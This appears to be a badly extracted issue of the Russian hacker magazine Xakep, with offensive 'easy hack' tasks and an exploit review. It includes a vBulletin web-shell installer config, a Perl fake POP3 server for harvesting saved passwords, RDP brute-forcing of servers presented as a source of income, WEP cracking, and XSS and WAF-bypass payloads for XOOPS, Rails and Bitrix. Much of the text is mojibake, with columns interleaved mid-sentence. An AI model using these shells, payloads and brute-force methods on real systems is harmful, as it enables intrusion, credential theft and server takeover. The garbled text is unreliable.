Популярный форумный двиг vBulletin aka булка — не исключение. Залить шелл
через админку сего продукта довольно просто. Для этого следует:

1. Ïîèìåòü àäìèíñêèé àêêàóíò (òîëüêî íå ñïðàøèâàé ìåíÿ:


«êàê?»)
2. Çàëîãèíèòüñÿ â àäìèíêå
3. Äîáàâèòü íîâûé ìîäóëü ñ òåëîì íàøåãî øåëëà (íå áîëåå 60 Êá) Удобный шелл-инсталлер для булки

Однако, когда бажных форумов много, а времени — мало, разумнее заливать $cookies = ""; // êóêè
шеллы в автоматическом режиме, благо, специально для этих целей был напи- $admincp = "http://blablabla.com/vbl/admincp/"; // ïîëíûé
сан «vBulletin shell installer» от товарища DeusTirael. Все, что от тебя требуется http-ëèíê äî àäìèíêè
— подправить пару строк в конфиге скрипта, а именно: $pltitle = "plugin"; // plugin title
$shellcode = 'eval(@$_REQUEST[c]);'; // êîä ïõï-øåëëà
$login = "admin"; // ëîãèí àäìèíà ôîðóìà
$passw = "password"; // ïàðîëü àäìèíà ôîðóìà P.S. Скрипт успешно работает с vBulletin 3.5.*.

¹2 ЗАДАЧА: СБРУТИТЬ WEP-КЛЮЧ, ИС-


ПОЛЬЗУЯ НОУТ С ВИНДОЙ

РЕШЕНИЕ:
Если ты занимаешься вардрайвингом не первый день, то наверняка знаком
с такой популярной утилой, как Aircrack. Существует удобная оболочка
для данной тулзы под названием AiroWizard, которая представляет собой
мощный инструмент для анализа защищенности ви-фи сетей. Кстати говоря,
AiroWizard реализована как раз под винду и обладает, как ты уже догадался,
гуишным интерфейсом :). Анализировать сети с помощью утилы несложно,
алгоритм твоих действий ниже:

1. Ñëèâàåì òóëçó ñ íàøåãî äèñêà, èíñòàëëèì, çàïóñêàåì


2. Âêëþ÷àåì àäàïòåð, ñìîòðèì ëèñò àäàïòåðîâ â óòèëå è âûáèðàåì
ñâîé; åñëè ñïèñîê ïóñò, ëèáî êàðòî÷êà îòñóòñòâóåò — ñìåëî æìè
Анализируем WEP
«refresh»; åñëè è ýòî íå ïîìîãàåò — çíà÷èò òâîé àäàïòåð íå ïîä-
äåðæèâàåòñÿ ñîôòèíîé :(
3. Ïîñëå âûáîðà àäàïòåðà æìåì áàòòîí «Start Airserv-ng» íà 7. Ïåðåõîäèì â ðàçäåë Authentication and packer replay\
âêëàäêå «Monitor Mode» injection è ïîñëåäîâàòåëüíî âûïîëíÿåì âñå íåîáõîäèìûå äåéñòâèÿ
4. Òåïåðü çàïóñêàåì óòèëó Airodump-ng â ðåæèìå ìîíèòîðèíãà íà 8. Ñîáèðàåì íå ìåíåå 40ê ïàêåòîâ è ïðèñòóïàåì ê áðóòó WEP-êëþ÷à
âêëàäêå «Monitor Mode» íà âêëàäêå WEP crack\recovery
5. Íàáëþäàåì çà õîäîì ñêàíèðîâàíèÿ è îïðåäåëÿåì íóæíóþ òî÷êó
6. Çàïóñêàåì Airodump-ng ñ íóæíûìè íàì ïàðàìåòðàìè: SSID, MAC Вот и все, – список поддерживаемых адаптеров ты можешь найти в самой
è óêàçûâàåì èìÿ äàìïà äëÿ çàïèñè ñîáðàííûõ ïàêåòîâ; âñå ýòî íà утиле. Кроме всего прочего, тулза позволяет изменять MAC-адрес адаптера
âêëàäêå AP details and Airodump-ng парой кликов мышки :).

042 XÀÊÅÐ 10 /130/ 09


¹3 ЗАДАЧА: ПЕРЕНАПРАВИТЬ
ТРАФИК С УКАЗАННЫХ ПРИЛОЖЕНИЙ
НА СОКС-СЕРВЕР

РЕШЕНИЕ:
Использовать хттп-проксики всегда и везде не очень удобно, а порой —
невозможно, если приложение не поддерживает работу с прокси/соксами.
Выход один — перенаправлять трафик на сокс-сервер, то есть юзать
соксификатор. Одна из лучших софтин подобного рода — Freecap. Тулза
представляет собой классический соксификатор, с возможностью пост-
роения цепочек соксов, с поддержкой сокс4/5 и, к тому же, бесплатный :).
Настроить утилу для работы весьма просто:

1. Ñëèâàåì ïðîãó ñ íàøåãî äèñêà, ëèáî ñ îôñàéòà — http://


freecap.ru
2. Îòêðûâàåì ãëàâíîå îêíî óòèëû è äîáàâëÿåì ïðèëîæåíèÿ, òðàôèê
ñ êîòîðûõ áóäåò ïåðåíàïðàâëÿòüñÿ íà ñîêñ-ñåðâåð (íàïðèìåð, Соксифицируем приложения
áðàóçåð, àñþ, áðóòåð, etc)
3. Âûáèðàåì ðàçäåë «Íàñòðîéêè» 7. Íà âêëàäêå «Ïðÿìûå ñîåäèíåíèÿ» ìîæíî äîáàâèòü èñêëþ÷åíèÿ —
4. Âî âêëàäêå «Íàñòðîéêè ïðîêñè» óêàçûâàåì IP-àäðåñ è ïîðò IP-àäðåñà, äëÿ êîòîðûõ ñîêñèôèêàöèÿ íå òðåáóåòñÿ; â ýòîì ñëó÷àå
ñîêñ-ñåðâåðà (ïîääåðæèâàþòñÿ ñîêñ4/5) ñîåäèíåíèå áóäåò èäòè íàïðÿìóþ, ìèíóÿ ñîêñ-ñåðâåð
5. Åñëè õîòèì ñîçäàòü öåïî÷êó ñîêñîâ — ïåðåõîäèì íà âêëàäêó 8. Ïîñëå òîãî, êàê âñå íàñòðîåíî — ùåëêàåì ïðàâîé êíîïêîé
«Öåïî÷êà ïðîêñè» è îòìå÷àåì ãàëî÷êàìè òå ñîêñû, êîòîðûå õîòèì ïî èêîíêå â òðåå è âûáèðàåì ïðèëîæåíèå, êîòîðîå õîòèì çà-
èñïîëüçîâàòü â ñâîåé öåïî÷êå ïóñòèòü :)
6. Íà âêëàäêå «Íàñòðîéêà æóðíàëà» åñòü âîçìîæíîñòü âêëþ÷èòü ëî-
ãèðîâàíèå, ÷òî äåëàòü íå ðåêîìåíäóåòñÿ ïî ïîíÿòíûì ïðè÷èíàì :) Вот, собственно, и все. Анонимного веб-серфинга тебе :).

¹4
РЕШЕНИЕ:
ЗАДАЧА: АВТОМАТИЗИРОВАТЬ ПРО-
ЦЕСС ПОИСКА БАГОВ В СУБД ORACLE
4. Óêàçàòü íåîáõîäèìûå äëÿ êîííåêòà äàííûå (ëîãèí, ïàññ, etc) è
ïîäêëþ÷èòüñÿ ê ÑÓÁÄ
5. Ïðè íåîáõîäèìîñòè âûïîëíåíèÿ PL/SQL-êîäà âáèâàåì êîä â ñî-
îòâåòñòâóþùåì îêîøêå è æìåì «Âûïîëíèòü»
На страницах журнала мы не раз писали про анализ MySQL и MSSQL-
серверов на предмет наличия уязвимостей, да и в Сети информации на Утила имеет гуишный интерфейс, так что проблем с ее эксплуатацией воз-
эту тему — хоть отбавляй. Но в случае с Oracle все не так просто, ведь никнуть у тебя не должно :).
найти надежный инструмент для поиска багов в этой СУБД до недавнего
времени было проблемно.
Почему до недавнего? Ответ на вопрос кроется в утиле «ORACLE
SECURITY TOOLS», о предназначении которой нетрудно
догадаться по названию. Тулза позволяет имитировать Ищем баги в Oracle
проникновение в СУБД, используя при этом ряд извес-
тных уязвимостей и сплойтов. Из особенностей можно
выделить:

• Ïîâûøåíèå ïðèâèëåãèé ïîëüçîâàòåëÿ Oracle


• Ïðîâåðêà âàëèäíîñòè äåôîëòíûõ ïàðîëåé Oracle
• Âûïîëíåíèå PL/SQL êîäà
• Ïîâûøåíèå ïðèâèëåãèé â ÎÑ Windows 2000/XP/2003
(äîáàâëåíèå ëîêàëüíîãî ïîëüçîâàòåëÿ ñ ïðàâàìè
àäìèíèñòðàòîðà è âîçìîæíîñòüþ óäàëåííîãî ïîäêëþ-
÷åíèÿ)
• Ïðîíèêíîâåíèå â ÎÑ è âûïîëíåíèå êîìàíä ñ ïðàâàìè
àäìèíèñòðàòîðà ñèñòåìû

Чтобы протестировать Oracle, тебе необходимо:

1. Ñëèòü óòèëó ñ íàøåãî äèñêà, ëèáî ñ îôñàéòà


(http://securetools.ru)
2. Çàïóñòèòü òóëçó
3. Âûáðàòü âåðñèþ ÑÓÁÄ è ñïëîéò

XÀÊÅÐ 10 /130/ 09 043


ВЗЛОМ

¹5 ЗАДАЧА: ВЫТАЩИТЬ «ЗАБЫТЫЙ» ПА-


РОЛЬ ИЗ ПОЧТОВОГО КЛИЕНТА
áàííåð
$stat=$client->recv($data,1024);
$client->send("+OK Password?\n");
$stat=$client->recv($data,1024); # Îðãàíèçóåì îáìåí äàííûìè
РЕШЕНИЕ: ñîãëàñíî RFC1939
Довольно тривиальная задачка — имеется установленный почтовик, в (undef,$data)=split('',$data);
котором вбит предустановленный пароль. Чтобы его расшифровать, есть, print "Password is \"$data\"\n»; # Îòäåëÿåì ïàðîëü è ïèøåì åãî
минимум, 3 способа. Во-первых, заветный пароль можно вытащить из конфи- â êîíñîëü
гов (как вручную, так и различными приложениями). Однако в большинстве close($client); # Îáðóáàåì êëèåíò è âûõîäèì èç ïðîãðàììû
случаев пассворд шифруется, и изъять его не получается. Например, те же exit;
Openpass, Passview или Recover не запускаются при установленном антиви- }
русе или файрволе. В итоге приходится довольствоваться старым дедовским }
способом по искусственному «выманиванию» паролей из почтовых программ.
1. Откроем твой любимый блокнот и напишем простенький Fake-POP3- 2. Изменяем в клиенте хост почтового сервера на локальный адрес (либо
сервер, посредством которого вытащим любой пароль. на любой другой, куда будет заливаться фейковый скрипт).
3. Запускаем фейковый скрипт и инициируем процесс получения новых
#!/usr/bin/perl сообщений. Как итог — ты получишь пароль в plain-text, нарисованный в
консоли. Задачка выполнена.
# Emulate the fake pop3 service ;) Кстати, так можно получить пароли от совершенно любых клиентов (на-
use IO::Socket; пример, на FTP). Главное — знать команды обмена в нужном протоколе.
$|++; # Þçàåì ñîêåò è îòðóáà-
åì áóôåðèçàöèþ Вытаскиваем пароли с помощью fake-pop3

$sock=IO::Socket::INET->ne
w(Listen=>10,LocalPort=>1
10,Proto=>'tcp',Reuse=>1)
|| "Cant open port: $!\n";
# Ñîçäàåì ñîêåò íà 110 ïîðòó
ëîêàëüíîé ìàøèíû

while($client=$sock-
>accept()) {
while(1) { # Ñëóøàåì íîâûõ
êëèåíòîâ è âõîäèì â áåñêî-
íå÷íûé öèêë ïðè êàæäîì íîâîì
ñîåäèíåíèè
$client->send("+OK Fake POP
Service ready\n"); # Âûäàåì

¹6
ЗАДАЧА: СБРУТИТЬ ВИН-ДЕДИК 5. Íàæàòü áàòòîí «start»

Полагаю, вопросов больше нет — вперед, брутить :).

Брутим вин-дедики :)
РЕШЕНИЕ:
Брут дедиков — не только средство добычи собственных серверов, но и
маленький стабильный доход :). Если ты догадался, о чем идет речь, рад
представить очередной релиз R&D P Brute v2.0, а точнее — его паблик-
версию, ибо приватная стоит немножко денег. Тулза поможет сбрутить
пару Windows-дедиков по протоколу RDP. Если коротко, то:

• Íàëè÷èå ãóèøíîãî èíòåðôåéñà


• Óòèëà îáëàäàåò âûñîêîé ñêîðîñòüþ
• Åñòü âîçìîæíîñòü óäàëåíèÿ ïðîáðó÷åííûõ IP-àäðåñîâ
• Âåäåíèå ïîëíîé ñòàòèñòèêè áðóòà

Из минусов бесплатной версии — ограничение на брут в 10 потоков. Все,


что от тебя требуется:

1. Ñëèòü àðõèâ ñ óòèëîé ñ íàøåãî ÄÂÄ


2. Ðàñïàêîâàòü
3. Çàïîëíèòü ôàéë ips.txt — IP-àäðåñà äåäèêîâ äëÿ áðóòà, ôàéë
pass.txt — ïàðîëè äëÿ áðóòà
4. Çàïóñòèòü òóëçó

044 XÀÊÅÐ 10 /130/ 09


¹7 ЗАДАЧА: РЕАЛИЗОВАТЬ ПРИ ПОМОЩИ
ОТЛАДЧИКА OLLYDBG ИЗМЕНЕНИЕ
КОДА ПРОГРАММЫ ЕЩЕ ДО НАЧАЛА ЕГО
3. Можно размещать код функции по адресу 00401040. Его функциональность
может быть любой; в нашем случае мы изменим инструкцию, передающую один из
параметров API-функции MessageBoxA — «PUSH 0». Она располагается прямо на
ВЫПОЛНЕНИЯ С МОМЕНТА ПОПАДАНИЯ НА ТОЧКУ точке входа, по адресу 00401000. Изменять ее на «PUSH 1» (значение указывает на
ВХОДА то, что окошко с сообщением «Hello, World», выдаваемое программой, будет иметь
не одну, а две кнопки — «Ok» и «Отмена») будет следующий callback-код:
РЕШЕНИЕ:
1. Метод решения задачи довольно прост и основывается на использовании 00401040 MOV EAX,00401000; ïîìåùàåì â EAX àäðåñ òî÷êè âõîäà
TLS-callback функций. Цитата из MSDN: «Метод локального хранилища потока 00401045 MOV EBX,0068016A; íîâûé ìàøèííûé êîä èíñòðóêöèè, ïåð-
позволяет каждому потоку многопоточного процесса выделять адреса для хране- âîíà÷àëüíûé èìåë âèä 0068006A
ния данных для определенного потока». TLS поддерживает вызов callback-функ- 0040104A MOV DWORD PTR DS:[EAX],EBX; ïðîèçâîäèì ïàò÷èíã èíñò-
ций, указатели на адреса которых хранятся в специальной TLS-таблице, причем ðóêöèè
вызов этот происходит еще до выполнения инструкций, располагающихся на 0040104C RETN; âîçâðàùàåìñÿ èç ôóíêöèè
точке входа. Такую функцию мы и создадим, чтобы изменить код программы. Будем
использовать для экспериментов написанный на ассемблере файл, выдающий Сохраняем файл (команда Copy to executable Æ All modifications контекстного
окно с сообщением «Hello, World» (его можно найти на нашем DVD). меню правой кнопки мыши).
Создаем TLS-директорию в любой существующей секции. Не залезая в дебри, 4. Теперь необходимо внести адрес TLS-директории в PE-заголовок исследуемого
открываем PE-файл при помощи OllyDbg, выделяем 16 нулевых байт, распола- файла. В окне дампа переходим к адресу 00400000, в окне дампа выбираем Special
гающихся ниже кода (они выравнивают размер секции), и при помощи команды Æ PE Header, чтобы отладчик рассматривал данные как PE-заголовок. Прокру-
«Binary Æ Edit» контекстного меню вносим следующую последовательность: «00 чиваем дамп чуть ниже, пока не встретим сигнатуру PE. В списке полей структуры
11 40 00 10 11 40 00 4D 10 40 00 36 10 40 00» (для другого приложения адреса могут ищем поле TLS Table address и при помощи комбинации клавиш <Ctrl+E> откры-
быть иными). Первый и второй адрес — 00401100 и 00401110 — являются адресами ваем меню редактирования. Адрес, по которому располагалась размещенная
начала и конца выделяемой для потока области данных. По адресу 0040104D будет нами таблица, имел значение 00401026. Вспоминая, что в PE-заголовок нужно
записано значение-индекс (его возвратит функция, выделившая блок памяти для вводить смещения, а не абсолютные адреса, отнимаем от значения 00401026
потока). Наконец, 00401036 — это адрес таблицы callback-функций. значение ImageBase (00400000) и получаем значение 00001026. Таким образом,
2. Приступим к формированию таблицы callback-функций. Переходим к адресу вводим в окно редактирования последовательность 26 10 00 00. Из контекстного
00401036, выделяем 6 байт, выбираем из контекстного меню команду «Binary Æ меню выбираем Copy to executable File; в появившемся окне снова нажимаем
Edit». Вводим значение «40 10 40 00 00 00». Первые 4 байта указывают на адрес на правую кнопку мыши и выбираем из меню Save file. Сохраняем файл. Запуск
callback-функции. Последние два нулевых байта указывают на окончание таблицы удается успешно, программа отображает кнопки Ok и Отмена, хотя первоначально
callback-функций. отображалась лишь одна кнопка.

ЗАДАЧА: ЭМУЛИРОВАТЬ РЕЗУЛЬТАТ волит при желании его модифицировать и собрать нужный

¹8 ВЫПОЛНЕНИЯ RDTSC (АССЕМБЛЕРНАЯ


ИНСТРУКЦИЯ-СЧЕТЧИК ТАКТОВ) ДЛЯ
ОБХОДА НЕКОТОРЫХ ПРОГРАММНЫХ
вариант). Драйвер «кормит» вызывающие RDTSC приложе-
ния малыми псевдослучайными числами, что делает работу
защит, основанных на использовании RDTSC, бессмыслен-
ЗАЩИТ ной.
3. Загружаем fakerdtsc.sys при помощи утилиты Kernel-Mode Driver
РЕШЕНИЕ: Manager и «проводим» его внутрь системы при помощи нажатия кнопок
1. Устанавливаем утилиту Kernel-Mode Driver Manager, написанную «Register» и «Run».
хакером Four-F. 4. Выполняем необходимые манипуляции в отладчике, не обращая вни-
2 . Скачиваем с http://www.wasm.ru или забираем с нашего мания на RDTSC.
диска драйвер fakerdtsc.sys c исходными кодами (это поз- 5. Останавливаем работу драйвера (Stop, Unregister).z

Драйвер загружен — результат RDTSC подменяется


Сработало — код callback-функции выполняется еще до переброски на
точку входа

XÀÊÅÐ 10 /130/ 09 045


ВЗЛОМ
МАГ ICQ 884888, HTTP://WAP-CHAT.RU

ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ
ÍÀ×ÈÍÀÞÙÈÅ ÁÀÃÎÊÎÏÀÒÅËÈ ×ÀÑÒÎ ÍÅÄÎÎÖÅÍÈÂÀÞÒ ÒÀÊÈÅ ÓßÇÂÈÌÎÑÒÈ, ÊÀÊ: XSS, CSRF, ÏÎÄÌÅÍÀ ÊÀÊÈÕ-ËÈÁÎ ÄÀÍÍÛÕ
(×ÈÒÀÉ — ÔÈØÈÍÃ), ÐÀÑÊÐÛÒÈÅ ÑÎÄÅÐÆÈÌÎÃÎ ËÎÊÀËÜÍÛÕ ÔÀÉËÎÂ. ßÊÎÁÛ ÝÒÈ ÁÀÃÈ È Â ÏÎÄÌÅÒÊÓ ÍÅ ÃÎÄßÒÑß ÌÎÙÍÛÌ
È ÁÛÑÒÐÎÄÅÉÑÒÂÓÞÙÈÌ SQL-ÈÍÚÅÊÖÈßÌ, ÂÛÏÎËÍÅÍÈÞ ÊÎÄÀ, ÏÅÐÅÏÎËÍÅÍÈÞ ÊÓ×È, ÇÀËÈÂÊÅ ØÅËËÀ, LOCAL/REMOTE FILE
INCLUSION È Ò.Ä., Ñ ÏÎÌÎÙÜÞ ÊÎÒÎÐÛÕ ÌÎÆÍÎ Â ÊÎÐÎÒÊÈÉ ÑÐÎÊ ÂÇßÒÜ ÊÎÍÒÐÎËÜ ÍÀÄ ÑÀÉÒÎÌ ÈËÈ ÏÐÎÃÐÀÌÌÎÉ. ÑÅÃÎÄÍßØ-
ÍÈÉ ÎÁÇÎÐ ÏÐÈÇÂÀÍ ÏÎÊÎËÅÁÀÒÜ ÌÍÅÍÈÅ ÑÎÌÍÅÂÀÞÙÈÕÑß, ÈÁÎ ÓÏÎÌßÍÓÒÛÅ ÒÈÏÛ ÓßÇÂÈÌÎÑÒÅÉ Ñ ÓÑÏÅÕÎÌ ÏÐÈÌÅÍßÞÒÑß
ÕÀÊÅÐÀÌÈ ÂÎ ÂÑÅÌ ÌÈÐÅ.
ПРОЕКТЫ, РАБОТАЮ-
ЩИЕ НА CMS BITRIX

XSS В XOOPS

01
МЕЖСАЙТОВЫЙ СКРИПТИНГ ПРИ ОБ- 1. Google Chrome (18 примеров XSS) — http://securethoughts.com/
РАБОТКЕ RSS И ATOM ЛЕНТ В OPERA security/rssatomxss/googlechromexss.atom;
И GOOGLE CHROME 2. Opera (38 примеров XSS) — http://securethoughts.com/security/
rssatomxss/opera10xss.atom.
BRIEF В уже далеком 2006 году некие James Holderness и James M. Далее следует еще один замечательный сценарий:
Snell провели исследование, направленное на выявление различных 1. У атакующего и у жертвы есть аккаунты на доверенном веб-сайте
XSS-уязвимостей в некоторых онлайн фид-аггрегаторах (например, Feed (или этот доверенный сайт позволяет атакующему инжектить javascript
Demon). в любую из лент новостей, читай — у тебя есть шелл или ftp-доступ на
И вот, 15 сентября сего года еще один багокопатель Inferno решил данном ресурсе);
продолжить исследование и раскопал аналогичные уязвимости в 2. Доверенный вебсайт использует систему блэклистинга для известных
последних версиях популярных браузеров Google Chrome и Opera исполняемых и просто опасных типов файлов (html, jsp, php, htaccess и т.д.);
(full disclosure от Inferno находится по адресу: http://securethoughts. 3. Атакующий заливает файл с расширением .rss или .atom (или вообще
com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader- с любым расширением, исполняемым как .rss/.atom, например .atom.
with-script-execution-and-more). tx, так как большинство веб-серверов по дефолту определят файл, как
«application/{atom/rss}+xml»);
EXPLOIT Сам автор приводит несколько сценариев эксплуатации багов, 4. Атакующий дает жертве линк на загруженный файл;
и первый из них таков: 5. Куки и другая чувствительная информация жертвы уплывают к атаку-
1. С помощью социальной инженерии атакующий подсовывает жертве ющему :).
ссылку на rss/atom ленту, находящуюся на своем evil-сайте (жертва Эксплойты для этого варианта сценария находятся тут:
должна использовать Google Chrome или Opera в качестве основного 1. Opera — http://securethoughts.com/security/rssatomxss/opera10xss.
браузера); atom.tx;
2. Злонамеренный код исполняется в браузере жертвы. 2. Chrome — http://securethoughts.com/security/rssatomxss/
Profit в случае этого сценария следующий: фишинг (можно спро- googlechromexss.atom.tx.
сить у юзера его данные для доступа к Google Reader, My.Opera. В качестве бонуса исследователь напоминает нам тот факт, что
com и другим онлайн-сервисам), поиск в истории браузера на всеми любимый Internet Explorer (в частности, 8 версия) автомати-
предмет посещенных страниц (подробнее о данном виде атак чески поддерживает файлы с неизвестным расширением и может
читай по ссылке http://jeremiahgrossman.blogspot.com/2006/08/i- исполнить их контент как обычный html+javascript (многое зависит
know-where-youve-been.html ), сканирование внутренней сетки от mime type файла).
юзера с помощью javascript (описание этой атаки — http:// Так что все вполне может подойти и для IE. Для примера зайди с по-
jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning- мощью Internet Explorer по адресу http://securethoughts.com/security/
without.html ). Собственно, эксплойты и примеры этого сценария rssatomxss/anyfile.tx и насладись простейшим javascript-алертом из
находятся тут: данного файла:

046 XÀÊÅÐ 10 /130/ 09


XSS В БИТРИКС

XOOPS ADVISORY

<html> вят баг: «I will be releasing exploit code as soon as updates fixing the issue
<script>alert('XSS')</script> are provided».
</html> Несуществующий эксплойт с успехом может заменить видео, записан-
ное Jeremy Brown'ом для подробной и наглядной ручной эксплуатации
Также существует и некий третий сценарий для полного захвата всех но- уязвимости. Там он показывает, как заменить один скачанный юзером
востных лент Оперы, но до выхода официального патча от разработчиков с доверенного сайта исходник совершенно другим, измененным под
Inferno не хочет сообщать нам никаких подробностей :(. наши хакерские цели. Посмотреть и скачать видео можно тут:
http://securitytube.net/Zero-Day-Demos-(Firefox-Vulnerability-
TARGETS Opera 10 и ниже. Discovered)-video.aspx (советую регулярно просматривать этот сайт —
Google Chrome < v3.0.195.21. своего рода хакерский YouTube).

SOLUTION Для решения проблемы в случае использования Google TARGETS Mozilla Firefox 2.x и 3.x.
Chrome просто обновись до последней версии браузера (v3.0.195.21
и выше), а вот в случае использования Opera не все так просто — раз- SOLUTION Пока решения для исправления уязвимости не существует.
работчики считают баг фичей, так что отключай выполнение js либо Тебя спасут лишь внимательность и настороженность.

03
тщательней проверяй, по каким ссылкам ходишь.
МЕЖСАЙТОВЫЙ

02
ПОДМЕНА СКРИПТИНГ
ЗАГРУЖАЕМЫХ В XOOPS
ФАЙЛОВ В MOZILLA FIREFOX
BRIEF Так как основная тема сегодняшнего обзора — XSS, нельзя не
BRIEF О таком известном браузере, как Огнелис багокопатели тоже не упомянуть еще об одной полезной для нашего хакерского дела уязви-
забыли. Недавно Jeremy Brown (http://jbrownsec.blogspot.com) обна- мости. На сей раз банальный cross site scripting был найден в таком
ружил, что Firefox позволяет одним пользователям системы подменять небезызвестном php-движке, как XOOPS. Бага присутствует в файле ./
загружаемые файлы других пользователей. Багофичу наиболее просто xoops233/modules/pm/viewpmsg.php. Давай вместе проследим за пере-
эксплуатировать в Linux-системах. Суть уязвимости заключается в том, менной $_REQUEST['op']:
что, когда пользователь начинает загружать файл, появляется диалоговое
окно Downloads, для которого браузер использует фиксированный путь с <?php
директорией /tmp. Злоумышленник может разместить файл в этой самой ...
директории /tmp перед началом загрузки файла и подменить содержимое $_REQUEST['op'] = empty($_REQUEST['op']) ? "in" : $_
загружаемого файла. REQUEST['op'];
...
EXPLOIT Для обнаруженной уязвимости автор пока еще не выпустил $pmform->addElement(new XoopsFormHidden('op', $_
эксплойт в надежде на то, что кодеры Мозиллы как можно скорее испра- REQUEST['op']));

XÀÊÅÐ 10 /130/ 09 047


ВЗЛОМ

XSS В OPERA

ИЗМЕНЕННЫЙ
ЗАГРУЖЕННЫЙ ФАЙЛ
В FIREFOX

ТИПИЧНЫЙ САЙТ
НА WAP-MOTOR

$pmform->assign($xoopsTpl); (например, текст, пароль, выбор и т.д.). Так как большинство баз данных
?> либо не принимают, либо очищают неправильные мультибайт-строки,
Как видишь, $_REQUEST['op'] без какой-либо дополнительной фильтра- уязвимость может встретиться не так часто, но, тем не менее, на Твиттере
ции попадает в hidden-форму темплейта, выводимого на экран движком, она присутствовала и успешно эксплуатировалась злоумышленниками.
массив $_REQUEST также нигде не проверяется, и мы спокойно сможем
использовать недоработку для кражи админской сессии и последующе- EXPLOIT Эксплойт для описываемой XSS может быть представлен во
го зашелливания сайта-жертвы через админку. множестве вариантов, например:

EXPLOIT Авторы уязвимости (группа Sense of Security) предлагают <a href="http://site.com" title="XSS [ìóëüòèáàéò-ñèì-
следующий PoC-эксплойт: âîë, êîòîðûé ïåðåçàïèøåò ñëåäóþùèå 2 ñèìâîëà]">ABCD"
onerror='alert(131)'>131</a>
http://site.com/xoops-2.3.3/htdocs/modules/pm/
viewpmsg.php?op='"><script>alert('vulnerable')</ Если у тебя есть возможность изменять содержимое атрибута title и ты
script><link id=' запишешь в квадратные скобки символ за номером 0131 (ALT + 0131), то
следующие за ним кавычки в мультибайтовой кодировке просто съедят-
Подробности ты сможешь узнать на их сайте по адресу: http://www. ся (превратятся в некий четырехбайтовый символ) и закрывающий тег
senseofsecurity.com.au/advisories/SOS-09-005.pdf. «>» будет уже внутри других кавычек:

<a href="http://site.com" title="XSS [ïîëó÷åííûé 4-áàé-


TARGETS XOOPS <= 2.3.3. òîâûé ñèìâîë]>ABCD" onerror='alert(143)'>143</a>

SOLUTIONS Для решения проблемы тебе необходимо установить Дело в том, что, к примеру, в кодировке GB2313 символ 0131 (в деся-
последнюю версию движка с сайта производителя www.xoops.org (на тичной системе) на самом деле не является отдельным символом — он
данный момент — 2.3.3b). лишь начало другого символа, то есть в результате инжекта имеем

03
символ 0131 + кавычки = «отдельный символ».
МЕЖСАЙТОВЫЙ Подробнее о данном векторе межсайтового скриптинга можно почи-
СКРИПТИНГ тать на буржуйском форуме http://www.criticalsecurity.net/index.php/
В RUBY ON RAILS topic/31640-xss-via-multibyte-characters.

BRIEF: Проблема XSS не обошла стороной и такой известный продукт, TARGETS 2.0.0 и все подверсии.
как Ruby on Rails и, в частности, построенный на нем Twitter.com.
Уязвимость существует из-за недостаточной обработки входных SOLUTION Как всегда, не забываем обновляться. Актуальные версии
данных в мультибайтовых кодировках BIG5, EUC-JP, EUC-KR, GB2312 Ruby on Rails — 2.3.4, 2.2.3, скачать их можно на сайте производителя —
и SHIFT_JIS (кстати, с этой же проблемой было связано и множество rubyonrails.org.

04
SQL-инъекций в популярных web-движках). Удаленный пользователь
может с помощью специально сформированного запроса выполнить МЕЖСАЙТОВЫЙ
произвольный код javascript в браузере жертвы в контексте безопас- СКРИПТИНГ
ности уязвимого сайта. Весь сыр-бор происходит из-за недостаточной В BITRIX CMS
фильтрации символов национальных кодировок в так называемых
FormHelper-элементах движка. Они предоставляют набор методов для BRIEF: В отечественной разработке от 1C — Bitrix CMS (движок использу-
создания форм на основе моделей для каждого вида юзерского ввода ется, например, таким популярным секурити-порталом, как securitylab.

048 XÀÊÅÐ 10 /130/ 09


ОКНО ЗАГРУЗКИ В
MOZILLA FIREFOX

XSS В GOOGLE CHROME

ru, сетью магазинов бытовой электроники «Эльдорадо» и несколькими смогут обновиться через встроенный функционал обновления. Для уст-
тысячами других известных фирм) не так давно были обнаружены cross ранения первой уязвимости с реферером можно также включить модуль
site scripting уязвимости. О них, в рамках фестиваля Chaos Constructions проактивной защиты.

05
2009, сообщил Владимир Воронцов (http://onsec.ru).
Первая бага существует из-за отсутствия фильтрации символа одинар- РАСКРЫТИЕ
ной кавычки в http-заголовке «Referer», который отображается в теге ДАННЫХ
«<a>» на страницах статистики в административной части модуля «Веб- В WAP-MOTOR
аналитика». Зайдя на сайт жертвы со специально сформированным
реферером, злоумышленник внесет свой злонамеренный код прямо в BRIEF: Почему-то тема WAP-сайтов встречается в z крайне редко.
админку сайта, что чревато хищением админских кукисов. Настало время исправить это недоразумение. Итак, недавно найден-
Вторая бага возникает из-за неполной фильтрации входных ная уязвимость просмотра содержимого произвольных локальных
данных в модуле WAF («Проактивная защита»). Удаленный поль- файлов в CMS Wap-motor, которую используют множество Wap-сай-
зователь может обойти установленные фильтры и произвести тов на территории СНГ и ближнего зарубежья, позволяет прочитать
XSS-нападение. Для успешной эксплуатации требуется заранее важные конфиги и файлы текстовой базы данных движка. Прове-
внести свой код в базу данных движка (комментарии, посты и дем небольшой реверсинг скриптов жертвы вместе с автором баги
т.д.). Inj3ct0r'ом (Inj3ct0r.com).
1. Открываем файл ./gallery/gallery.php:
>> EXPLOIT Для первой уязвимости сам автор приводит следующий
формат пересылаемого заголовка Referer: <?php
require_once"../template/start.php";
Referer: " style="onsec:e&#92xp&#92re&#92s&#92s&#92i&# require_once"../template/regglobals.php";
92o&#92n(alert(111)) require_once"../template/config.php";
require_once"../template/functions.php";
Также в этом примере используется и обход проактивного фильтра WAF-
движка «1С-Битрикс». $image=check($image);
Для второй баги security-эксперт за 40 фестивальных минут смог найти $ext = strtolower(substr($image, strrpos($image, '.')
такие векторы обхода фильтра защиты: + 1));

<style> if($ext=="jpg" || $ext=="gif" || $ext=="png"){


@\69\6D\70\6F\72\74 url(http://onsec.ru/xss.css); if($ext=="jpg"){$ext="jpeg";}
</style>
--- $filename = BASEDIR."local/datagallery/$image";
e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n $filename = file_get_contents($filename);
header('Content-Disposition: inline;
Проактивный фильтр WAF проверяет входные данные пользователя на filename="'.$image.'"');
наличие потенциально опасных строк по огромной базе регулярных вы- header("Content-type: image/$ext");
ражений и фильтрует множество вариантов реализаций SQL-инъекций, header("Content-Length: ".strlen($filename));
Includes, XSS. Но именно эти варианты разработчики как-то не учли :). echo $filename;
}
TARGETS Bitrix CMS <= 8.0.5. ?>

SOLUTION Для своевременной защиты обладатели Битрикса легко 2. Далее ./template/regglobals.php:

XÀÊÅÐ 10 /130/ 09 049


